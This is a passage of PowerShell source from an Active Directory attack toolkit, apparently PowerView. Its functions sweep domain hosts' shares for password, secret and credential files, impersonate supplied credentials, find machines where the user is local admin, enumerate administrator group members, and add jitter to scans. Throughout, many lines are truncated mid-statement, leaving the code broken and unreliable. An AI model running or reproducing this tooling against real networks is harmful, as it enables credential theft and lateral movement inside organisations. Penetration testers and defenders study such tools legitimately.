.PARAMETER LastAccessTime
Only return files with a LastAccessTime greater than this date value.
.PARAMETER LastWriteTime
Only return files with a LastWriteTime greater than this date value.
.PARAMETER CreationTime
Only return files with a CreationTime greater than this date value.
.PARAMETER OfficeDocs
Switch. Search for office documents (*.doc*, *.xls*, *.ppt*)
.PARAMETER FreshEXEs
Switch. Find .EXEs accessed within the last 7 days.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain and target systems.
.PARAMETER Delay
Specifies the delay (in seconds) between enumerating hosts, defaults to 0.
.PARAMETER Jitter
Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3
.PARAMETER Threads
The number of threads to use for user searching, defaults to 20.
.EXAMPLE
Find-InterestingDomainShareFile
Finds 'interesting' files on the current domain.
.EXAMPLE
Find-InterestingDomainShareFile -ComputerName @('windows1.testlab.local','windows2.testlab.local')
Finds 'interesting' files on readable shares on the specified systems.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('DEV\dfm.a', $SecPassword)
Find-DomainShare -Domain testlab.local -Credential $Cred
Searches interesting files in the testlab.local domain using the specified alternate credentials.
.OUTPUTS
PowerView.FoundFile
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.FoundFile')]
[CmdletBinding(DefaultParameterSetName = 'FileSpecification')]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True
[Alias('DNSHostName')]
[String[]]
$ComputerName,
[ValidateNotNullOrEmpty()]
[String]
$ComputerDomain,
[ValidateNotNullOrEmpty()]
[String]
$ComputerLDAPFilter,
[ValidateNotNullOrEmpty()]
[String]
$ComputerSearchBase,
[ValidateNotNullOrEmpty()]
[Alias('OperatingSystem')]
[String]
$ComputerOperatingSystem,
[ValidateNotNullOrEmpty()]
[Alias('ServicePack')]
[String]
$ComputerServicePack,
[ValidateNotNullOrEmpty()]
[Alias('SiteName')]
[String]
$ComputerSiteName,
[Parameter(ParameterSetName = 'FileSpecification')]
[ValidateNotNullOrEmpty()]
[Alias('SearchTerms', 'Terms')]
[String[]]
$Include = @('*password*', '*sensitive*', '*admin*', '*login*', '*secret*', 'unattend*.xml', '*.vmdk', '*cre
[ValidateNotNullOrEmpty()]
[ValidatePattern('\\\\')]
[Alias('Share')]
[String[]]
$SharePath,
[String[]]
$ExcludedShares = @('C$', 'Admin$', 'Print$', 'IPC$'),
[Parameter(ParameterSetName = 'FileSpecification')]
[ValidateNotNullOrEmpty()]
[DateTime]
$LastAccessTime,
[Parameter(ParameterSetName = 'FileSpecification')]
[ValidateNotNullOrEmpty()]
[DateTime]
$LastWriteTime,
[Parameter(ParameterSetName = 'FileSpecification')]
[ValidateNotNullOrEmpty()]
[DateTime]
$CreationTime,
[Parameter(ParameterSetName = 'OfficeDocs')]
[Switch]
$OfficeDocs,
[Parameter(ParameterSetName = 'FreshEXEs')]
[Switch]
$FreshEXEs,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[ValidateRange(1, 10000)]
[Int]
$Delay = 0,
[ValidateRange(0.0, 1.0)]
[Double]
$Jitter = .3,
[Int]
[ValidateRange(1, 100)]
$Threads = 20
)
BEGIN {
$ComputerSearcherArguments = @{
'Properties' = 'dnshostname'
}
if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $Comp
if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $
if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase']
if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['Operatin
if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'
if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $S
if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $Sea
if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] =
if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] =
if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombsto
if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential
if ($PSBoundParameters['ComputerName']) {
$TargetComputers = $ComputerName
}
else {
Write-Verbose '[Find-InterestingDomainShareFile] Querying computers in the domain'
$TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -Ex
}
Write-Verbose "[Find-InterestingDomainShareFile] TargetComputers length: $($TargetComputers.
if ($TargetComputers.Length -eq 0) {
throw '[Find-InterestingDomainShareFile] No hosts found to enumerate'
}
# the host enumeration block we're using to enumerate all servers
$HostEnumBlock = {
Param($ComputerName, $Include, $ExcludedShares, $OfficeDocs, $ExcludeHidden, $FreshEX
if ($TokenHandle) {
# impersonate the the token produced by LogonUser()/Invoke-UserImpersonation
$Null = Invoke-UserImpersonation -TokenHandle $TokenHandle -Quiet
}
ForEach ($TargetComputer in $ComputerName) {
$SearchShares = @()
if ($TargetComputer.StartsWith('\\')) {
# if a share is passed as the server
$SearchShares += $TargetComputer
}
else {
$Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer
if ($Up) {
# get the shares for this host and display what we find
$Shares = Get-NetShare -ComputerName $TargetComputer
ForEach ($Share in $Shares) {
$ShareName = $Share.Name
$Path = '\\'+$TargetComputer+'\'+$ShareName
# make sure we get a real share name back
if (($ShareName) -and ($ShareName.Trim() -ne '')) {
# skip this share if it's in the exclude list
if ($ExcludedShares -NotContains $ShareName) {
# check if the user has access to this path
try {
$Null = [IO.Directory]::GetFiles($Path)
$SearchShares += $Path
}
catch {
Write-Verbose "[!] No access to $Path"
}
}
}
}
}
}
ForEach ($Share in $SearchShares) {
Write-Verbose "Searching share: $Share"
$SearchArgs = @{
'Path' = $Share
'Include' = $Include
}
if ($OfficeDocs) {
$SearchArgs['OfficeDocs'] = $OfficeDocs
}
if ($FreshEXEs) {
$SearchArgs['FreshEXEs'] = $FreshEXEs
}
if ($LastAccessTime) {
$SearchArgs['LastAccessTime'] = $LastAccessTime
}
if ($LastWriteTime) {
$SearchArgs['LastWriteTime'] = $LastWriteTime
}
if ($CreationTime) {
$SearchArgs['CreationTime'] = $CreationTime
}
if ($CheckWriteAccess) {
$SearchArgs['CheckWriteAccess'] = $CheckWriteAccess
}
Find-InterestingFile @SearchArgs
}
}
if ($TokenHandle) {
Invoke-RevertToSelf
}
}
$LogonToken = $Null
if ($PSBoundParameters['Credential']) {
if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) {
$LogonToken = Invoke-UserImpersonation -Credential $Credential
}
else {
$LogonToken = Invoke-UserImpersonation -Credential $Credential -Quiet
}
}
}
PROCESS {
# only ignore threading if -Delay is passed
if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) {
Write-Verbose "[Find-InterestingDomainShareFile] Total number of hosts: $($TargetComputers.
Write-Verbose "[Find-InterestingDomainShareFile] Delay: $Delay, Jitter: $Jitter"
$Counter = 0
$RandNo = New-Object System.Random
ForEach ($TargetComputer in $TargetComputers) {
$Counter = $Counter + 1
# sleep for our semi-randomized interval
Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
Write-Verbose "[Find-InterestingDomainShareFile] Enumerating server $TargetComputer ($C
Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $Include, $
}
}
else {
Write-Verbose "[Find-InterestingDomainShareFile] Using threading with threads: $Threads"
# if we're using threading, kick off the script block with New-ThreadedFunction
$ScriptParams = @{
'Include' = $Include
'ExcludedShares' = $ExcludedShares
'OfficeDocs' = $OfficeDocs
'ExcludeHidden' = $ExcludeHidden
'FreshEXEs' = $FreshEXEs
'CheckWriteAccess' = $CheckWriteAccess
'TokenHandle' = $LogonToken
}
# if we're using threading, kick off the script block with New-ThreadedFunction using the $HostE
New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -Scr
}
}
END {
if ($LogonToken) {
Invoke-RevertToSelf -TokenHandle $LogonToken
}
}
}
function Find-LocalAdminAccess {
<#
.SYNOPSIS
Finds machines on the local domain where the current user has local administrator access.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainComputer, Invoke-UserImpersonation, Invoke-RevertToSelf, Test
.DESCRIPTION
This function enumerates all machines on the current (or specified) domain
using Get-DomainComputer, and for each computer it checks if the current user
has local administrator access using Test-AdminAccess. If -Credential is passed,
then Invoke-UserImpersonation is used to impersonate the specified user
before enumeration, reverting after with Invoke-RevertToSelf.
Idea adapted from the local_admin_search_enum post module in Metasploit written by:
'Brandon McCann "zeknox" <bmccann[at]accuvant.com>'
'Thomas McCarthy "smilingraccoon" <smilingraccoon[at]gmail.com>'
'Royce Davis "r3dy" <rdavis[at]accuvant.com>'
.PARAMETER ComputerName
Specifies an array of one or more hosts to enumerate, passable on the pipeline.
If -ComputerName is not passed, the default behavior is to enumerate all machines
in the domain returned by Get-DomainComputer.
.PARAMETER ComputerDomain
Specifies the domain to query for computers, defaults to the current domain.
.PARAMETER ComputerLDAPFilter
Specifies an LDAP query string that is used to search for computer objects.
.PARAMETER ComputerSearchBase
Specifies the LDAP source to search through for computers,
e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries.
.PARAMETER ComputerOperatingSystem
Search computers with a specific operating system, wildcards accepted.
.PARAMETER ComputerServicePack
Search computers with a specific service pack, wildcards accepted.
.PARAMETER ComputerSiteName
Search computers in the specific AD Site name, wildcards accepted.
.PARAMETER CheckShareAccess
Switch. Only display found shares that the local user has access to.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain and target systems.
.PARAMETER Delay
Specifies the delay (in seconds) between enumerating hosts, defaults to 0.
.PARAMETER Jitter
Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3
.PARAMETER Threads
The number of threads to use for user searching, defaults to 20.
.EXAMPLE
Find-LocalAdminAccess
Finds machines in the current domain the current user has admin access to.
.EXAMPLE
Find-LocalAdminAccess -Domain dev.testlab.local
Finds machines in the dev.testlab.local domain the current user has admin access to.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword
Find-LocalAdminAccess -Domain testlab.local -Credential $Cred
Finds machines in the testlab.local domain that the user with the specified -Credential
has admin access to.
.OUTPUTS
String
Computer dnshostnames the current user has administrative access to.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType([String])]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True
[Alias('DNSHostName')]
[String[]]
$ComputerName,
[ValidateNotNullOrEmpty()]
[String]
$ComputerDomain,
[ValidateNotNullOrEmpty()]
[String]
$ComputerLDAPFilter,
[ValidateNotNullOrEmpty()]
[String]
$ComputerSearchBase,
[ValidateNotNullOrEmpty()]
[Alias('OperatingSystem')]
[String]
$ComputerOperatingSystem,
[ValidateNotNullOrEmpty()]
[Alias('ServicePack')]
[String]
$ComputerServicePack,
[ValidateNotNullOrEmpty()]
[Alias('SiteName')]
[String]
$ComputerSiteName,
[Switch]
$CheckShareAccess,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[ValidateRange(1, 10000)]
[Int]
$Delay = 0,
[ValidateRange(0.0, 1.0)]
[Double]
$Jitter = .3,
[Int]
[ValidateRange(1, 100)]
$Threads = 20
)
BEGIN {
$ComputerSearcherArguments = @{
'Properties' = 'dnshostname'
}
if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $Comp
if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $
if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase']
if ($PSBoundParameters['Unconstrained']) { $ComputerSearcherArguments['Unconstrained'] = $U
if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['Operatin
if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'
if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $S
if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $Sea
if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] =
if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] =
if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombsto
if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential
if ($PSBoundParameters['ComputerName']) {
$TargetComputers = $ComputerName
}
else {
Write-Verbose '[Find-LocalAdminAccess] Querying computers in the domain'
$TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -Ex
}
Write-Verbose "[Find-LocalAdminAccess] TargetComputers length: $($TargetComputers.Length)"
if ($TargetComputers.Length -eq 0) {
throw '[Find-LocalAdminAccess] No hosts found to enumerate'
}
# the host enumeration block we're using to enumerate all servers
$HostEnumBlock = {
Param($ComputerName, $TokenHandle)
if ($TokenHandle) {
# impersonate the the token produced by LogonUser()/Invoke-UserImpersonation
$Null = Invoke-UserImpersonation -TokenHandle $TokenHandle -Quiet
}
ForEach ($TargetComputer in $ComputerName) {
$Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer
if ($Up) {
# check if the current user has local admin access to this server
$Access = Test-AdminAccess -ComputerName $TargetComputer
if ($Access.IsAdmin) {
$TargetComputer
}
}
}
if ($TokenHandle) {
Invoke-RevertToSelf
}
}
$LogonToken = $Null
if ($PSBoundParameters['Credential']) {
if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) {
$LogonToken = Invoke-UserImpersonation -Credential $Credential
}
else {
$LogonToken = Invoke-UserImpersonation -Credential $Credential -Quiet
}
}
}
PROCESS {
# only ignore threading if -Delay is passed
if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) {
Write-Verbose "[Find-LocalAdminAccess] Total number of hosts: $($TargetComputers.count)"
Write-Verbose "[Find-LocalAdminAccess] Delay: $Delay, Jitter: $Jitter"
$Counter = 0
$RandNo = New-Object System.Random
ForEach ($TargetComputer in $TargetComputers) {
$Counter = $Counter + 1
# sleep for our semi-randomized interval
Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
Write-Verbose "[Find-LocalAdminAccess] Enumerating server $TargetComputer ($Counter of
Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $LogonTo
}
}
else {
Write-Verbose "[Find-LocalAdminAccess] Using threading with threads: $Threads"
# if we're using threading, kick off the script block with New-ThreadedFunction
$ScriptParams = @{
'TokenHandle' = $LogonToken
}
# if we're using threading, kick off the script block with New-ThreadedFunction using the $HostE
New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -Scr
}
}
}
function Find-DomainLocalGroupMember {
<#
.SYNOPSIS
Enumerates the members of specified local group (default administrators)
for all the targeted machines on the current (or specified) domain.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainComputer, Invoke-UserImpersonation, Invoke-RevertToSelf, Get-
.DESCRIPTION
This function enumerates all machines on the current (or specified) domain
using Get-DomainComputer, and enumerates the members of the specified local
group (default of Administrators) for each machine using Get-NetLocalGroupMember.
By default, the API method is used, but this can be modified with '-Method winnt'
to use the WinNT service provider.
.PARAMETER ComputerName
Specifies an array of one or more hosts to enumerate, passable on the pipeline.
If -ComputerName is not passed, the default behavior is to enumerate all machines
in the domain returned by Get-DomainComputer.
.PARAMETER ComputerDomain
Specifies the domain to query for computers, defaults to the current domain.
.PARAMETER ComputerLDAPFilter
Specifies an LDAP query string that is used to search for computer objects.
.PARAMETER ComputerSearchBase
Specifies the LDAP source to search through for computers,
e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries.
.PARAMETER ComputerOperatingSystem
Search computers with a specific operating system, wildcards accepted.
.PARAMETER ComputerServicePack
Search computers with a specific service pack, wildcards accepted.
.PARAMETER ComputerSiteName
Search computers in the specific AD Site name, wildcards accepted.
.PARAMETER GroupName
The local group name to query for users. If not given, it defaults to "Administrators".
.PARAMETER Method
The collection method to use, defaults to 'API', also accepts 'WinNT'.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain and target systems.
.PARAMETER Delay
Specifies the delay (in seconds) between enumerating hosts, defaults to 0.
.PARAMETER Jitter
Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3
.PARAMETER Threads
The number of threads to use for user searching, defaults to 20.
.EXAMPLE
Find-DomainLocalGroupMember
Enumerates the local group memberships for all reachable machines in the current domain.
.EXAMPLE
Find-DomainLocalGroupMember -Domain dev.testlab.local
Enumerates the local group memberships for all reachable machines the dev.testlab.local domain.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword
Find-DomainLocalGroupMember -Domain testlab.local -Credential $Cred
Enumerates the local group memberships for all reachable machines the dev.testlab.local
domain using the alternate credentials.
.OUTPUTS
PowerView.LocalGroupMember.API
Custom PSObject with translated group property fields from API results.
PowerView.LocalGroupMember.WinNT
Custom PSObject with translated group property fields from WinNT results.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.LocalGroupMember.API')]
[OutputType('PowerView.LocalGroupMember.WinNT')]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True
[Alias('DNSHostName')]
[String[]]
$ComputerName,
[ValidateNotNullOrEmpty()]
[String]
$ComputerDomain,
[ValidateNotNullOrEmpty()]
[String]
$ComputerLDAPFilter,
[ValidateNotNullOrEmpty()]
[String]
$ComputerSearchBase,
[ValidateNotNullOrEmpty()]
[Alias('OperatingSystem')]
[String]
$ComputerOperatingSystem,
[ValidateNotNullOrEmpty()]
[Alias('ServicePack')]
[String]
$ComputerServicePack,
[ValidateNotNullOrEmpty()]
[Alias('SiteName')]
[String]
$ComputerSiteName,
[Parameter(ValueFromPipelineByPropertyName = $True)]
[ValidateNotNullOrEmpty()]
[String]
$GroupName = 'Administrators',
[ValidateSet('API', 'WinNT')]
[Alias('CollectionMethod')]
[String]
$Method = 'API',
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[ValidateRange(1, 10000)]
[Int]
$Delay = 0,
[ValidateRange(0.0, 1.0)]
[Double]
$Jitter = .3,
[Int]
[ValidateRange(1, 100)]
$Threads = 20
)
BEGIN {
$ComputerSearcherArguments = @{
'Properties' = 'dnshostname'
}
if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $Comp
if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $
if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase']
if ($PSBoundParameters['Unconstrained']) { $ComputerSearcherArguments['Unconstrained'] = $U
if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['Operatin
if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'
if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $S
if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $Sea
if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] =
if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] =
if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombsto
if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential
if ($PSBoundParameters['ComputerName']) {
$TargetComputers = $ComputerName
}
else {
Write-Verbose '[Find-DomainLocalGroupMember] Querying computers in the domain'
$TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -Ex
}
Write-Verbose "[Find-DomainLocalGroupMember] TargetComputers length: $($TargetComputers.
if ($TargetComputers.Length -eq 0) {
throw '[Find-DomainLocalGroupMember] No hosts found to enumerate'
}
# the host enumeration block we're using to enumerate all servers
$HostEnumBlock = {
Param($ComputerName, $GroupName, $Method, $TokenHandle)
# Add check if user defaults to/selects "Administrators"
if ($GroupName -eq "Administrators") {
$AdminSecurityIdentifier = New-Object System.Security.Principal.SecurityIdentifier([System.S
$GroupName = ($AdminSecurityIdentifier.Translate([System.Security.Principal.NTAccount]).V
}
if ($TokenHandle) {
# impersonate the the token produced by LogonUser()/Invoke-UserImpersonation
$Null = Invoke-UserImpersonation -TokenHandle $TokenHandle -Quiet
}
ForEach ($TargetComputer in $ComputerName) {
$Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer
if ($Up) {
$NetLocalGroupMemberArguments = @{
'ComputerName' = $TargetComputer
'Method' = $Method
'GroupName' = $GroupName
}
Get-NetLocalGroupMember @NetLocalGroupMemberArguments
}
}
if ($TokenHandle) {
Invoke-RevertToSelf
}
}
$LogonToken = $Null
if ($PSBoundParameters['Credential']) {
if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) {
$LogonToken = Invoke-UserImpersonation -Credential $Credential
}
else {
$LogonToken = Invoke-UserImpersonation -Credential $Credential -Quiet
}
}
}
PROCESS {
# only ignore threading if -Delay is passed
if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) {
Write-Verbose "[Find-DomainLocalGroupMember] Total number of hosts: $($TargetComputers.
Write-Verbose "[Find-DomainLocalGroupMember] Delay: $Delay, Jitter: $Jitter"
$Counter = 0
$RandNo = New-Object System.Random
ForEach ($TargetComputer in $TargetComputers) {
$Counter = $Counter + 1
# sleep for our semi-randomized interval
Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
Write-Verbose "[Find-DomainLocalGroupMember] Enumerating server $TargetComputer ($C
Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $GroupNa
}
}
else {
Write-Verbose "[Find-DomainLocalGroupMember] Using threading with threads: $Threads"
# if we're using threading, kick off the script block with New-ThreadedFunction
$ScriptParams = @{
'GroupName' = $GroupName
'Method' = $Method
'TokenHandle' = $LogonToken
}
# if we're using threading, kick off the script block with New-ThreadedFunction using the $HostE
New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -Scr
}
}
END {
if ($LogonToken) {
Invoke-RevertToSelf -TokenHandle $LogonToken
}
}
}
########################################################
#
# Domain trust functions below.
#
########################################################
function Get-DomainTrust {
<#
.SYNOPSIS
Return all domain trusts for the current domain or a specified domain.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-Domain, Get-DomainSearcher, Get-DomainSID, PSReflect
.DESCRIPTION
This function will enumerate domain trust relationships for the current (or a remote)
domain using a number of methods. By default, and LDAP search using the filter
'(objectClass=trustedDomain)' is used- if any LDAP-appropriate parameters are specified
LDAP is used as well. If the -NET flag is specified, the .NET method
GetAllTrustRelationships() is used on the System.DirectoryServices.ActiveDirectory.Domain
object. If the -API flag is specified, the Win32 API DsEnumerateDomainTrusts() call is
used to enumerate instead.
.PARAMETER Domain
Specifies the domain to query for trusts, defaults to the current domain.
.PARAMETER API
Switch. Use an API call (DsEnumerateDomainTrusts) to enumerate the trusts instead of the built-in
.NET methods.
.PARAMETER NET
Switch. Use .NET queries to enumerate trusts instead of the default LDAP method.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER Properties
Specifies the properties of the output object to retrieve from the server.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER FindOne
Only return one result object.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.PARAMETER SSL
Switch. Use SSL for the connection to the LDAP server.
.PARAMETER Obfuscate
Switch. Obfuscate the resulting LDAP filter string using hex encoding.
.EXAMPLE
Get-DomainTrust
Return domain trusts for the current domain using built in .LDAP methods.
.EXAMPLE
Get-DomainTrust -NET -Domain "prod.testlab.local"
Return domain trusts for the "prod.testlab.local" domain using .NET methods
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword
Get-DomainTrust -Domain "prod.testlab.local" -Server "PRIMARY.testlab.local" -Credential $Cred
Return domain trusts for the "prod.testlab.local" domain enumerated through LDAP
queries, binding to the PRIMARY.testlab.local server for queries, and using the specified
alternate credenitals.
.EXAMPLE
Get-DomainTrust -API -Domain "prod.testlab.local"
Return domain trusts for the "prod.testlab.local" domain enumerated through API calls.
.OUTPUTS
PowerView.DomainTrust.LDAP
Custom PSObject with translated domain LDAP trust result fields (default).
PowerView.DomainTrust.NET
A TrustRelationshipInformationCollection returned when using .NET methods.
PowerView.DomainTrust.API
Custom PSObject with translated domain API trust result fields.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.DomainTrust.NET')]
[OutputType('PowerView.DomainTrust.LDAP')]
[OutputType('PowerView.DomainTrust.API')]
[CmdletBinding(DefaultParameterSetName = 'LDAP')]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True
[Alias('Name')]
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[Parameter(ParameterSetName = 'API')]
[Switch]
$API,
[Parameter(ParameterSetName = 'NET')]
[Switch]
$NET,
[Parameter(ParameterSetName = 'LDAP')]
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[Parameter(ParameterSetName = 'LDAP')]
[ValidateNotNullOrEmpty()]
[String[]]
$Properties,
[Parameter(ParameterSetName = 'LDAP')]
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[Parameter(ParameterSetName = 'LDAP')]
[Parameter(ParameterSetName = 'API')]
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
